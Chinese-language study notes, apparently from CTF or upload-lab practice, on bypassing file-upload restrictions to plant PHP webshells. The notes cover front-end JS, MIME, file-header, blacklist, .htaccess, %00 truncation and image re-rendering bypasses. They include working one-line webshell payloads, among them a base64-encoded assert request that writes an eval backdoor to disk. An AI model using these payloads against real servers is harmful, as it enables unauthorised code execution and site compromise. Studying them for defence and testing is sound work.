#思路总结
当遇到js前端脚本限制上传文件类型
-
使用浏览器插件。删除检测文件后缀的JS代码,然后上传webshell
-
在前端js判断函数中加上可以上传php文件,或者直接删去这一函数
-
首先把webshell的后缀改成允许上传的.jpg|.png|.gif,绕过JS检测。再抓包把后缀名改成.php,即可上传webshell
当服务器检测上传文件的MIME类型即媒体类型时
当上传PHP文件时,抓包发现Content-Type字段是application/x-php
这时只要修改为其他值即可
文件头校验
每一种文件的文件头部都不一样,当服务器检测上传文件的文件头时,可以在文件内容中手动加入特定的头部信息。
GIF89a<?php phpinfo(); ?>
后端设置了后缀名黑名单
文件解析漏洞
当上传脚本限制了.asp,.aspx,.php,.jsp时,而服务器存在php文件解析漏洞
通过上传 .phtml .phps .php5 .pht后缀的文件绕过黑名单
htaccess文件
对于可以上传htacesss文件的页面,可以先上传一个包含SetHandler application/x-httpd-php
的htaccess文件
htaccess文件:是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
原理:他没有过滤 .htaccess后缀,我们可以构建一个htaccess配置文件,让所有格式文件都解析为php,然后再上传图片马(只要后缀是允许的,随便都可以)就会被解析了。
大小写绕过
加空格绕过
加点绕过
windows会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过
::$DATA绕过
在window的时候如果文件名+::$DATA
会把::$DATA
之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA
之前的文件名,他的目的就是不检查后缀名
点加空格加点绕过
当脚本将文件末尾的点删除时可以加2个点,中间加一个空格
双写绕过
当文件后缀被替换为空时,可以尝试双写绕过
后端设置了后缀名白名单
当只能上传图片文件时,可以使用图片马
当上传文件被改名时
使用%00
截断保存路径内容
php版本小于5.3.4
php的magic_quotes_gpc为OFF状态
当保存路径可以在url里面get方式提交时,我们可以手动修改他
看一下源码
可以看到img-path的处理,看到这是将上传文件改名为一个随机数加后缀的文件,即原来upload/1,php
经过处理后变成upload/3452544.php
。只要我们在get请求中制定文件名并将后面的内容截断,就可以绕过改名,即upload/1.php%00
经过脚本处理后upload/1.php
二次渲染图片马突破
当图片被上传到服务器上时,图片会被重新渲染,其中的php语句会被过滤掉
GIF渲染绕过
首先拿原始图片和从服务器上下载的图片做对比
在没有被修改的地方插入php语句
上传修改后的gif图片,可以看到加了php语句的图片和原来的图片不一样了,说明经过渲染后php语句还在。
尝试包含文件访问。
JPG渲染绕过
方法和GIF一样
PNG渲染绕过
PNG 要麻烦一点,PNG需要在特定的地方修改,还需要重新计算CRC值,而且不是每一张图片都可以。
文件内容检查
利用文件包含木马
前提条件:服务器只检验文件后缀为asp/php/jsp的文件内容是否为木马。
先上传一个内容为木马的其他后缀名文件,因为后缀名所以不会被检查内容,然后上传一个php文件,内容为一个包含语句。
避开<?php
语句
当服务器检测文件内容,并过滤掉php起始标记时
使用<script>
替换php脚本起始语句
题目地址:http://123.206.31.85:49166/index.php?file=upload.php
避开eval()
关键字
-
可以使用GET代替eval。
<?php @$_GET[a]($_POST[b]);?>
原理是在访问时给a传
eval
,那么就相当于页面请求了<?php @eval($_POST[b]);?>
http://ip/1.php?a=eval 再隐蔽一点,将eval进行base64编码。 http://ip/1.php?a=base64_decode(ZXZhbAo=)
这里复现失败,按照官方文档,eval不支持这样的用法
避开POST
关键字
使用GET代替POST
<?php $_GET[a]($_GET[b]);?>
构造特殊请求
?a=assert&b=${fputs(fopen("c.php",w),"<?php @eval($_POST[c]); ?>")};
同样可以编码一下
?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4))};
执行后当前目录生成c.php 一句话木马(页面报错但是还是成功新建了文件)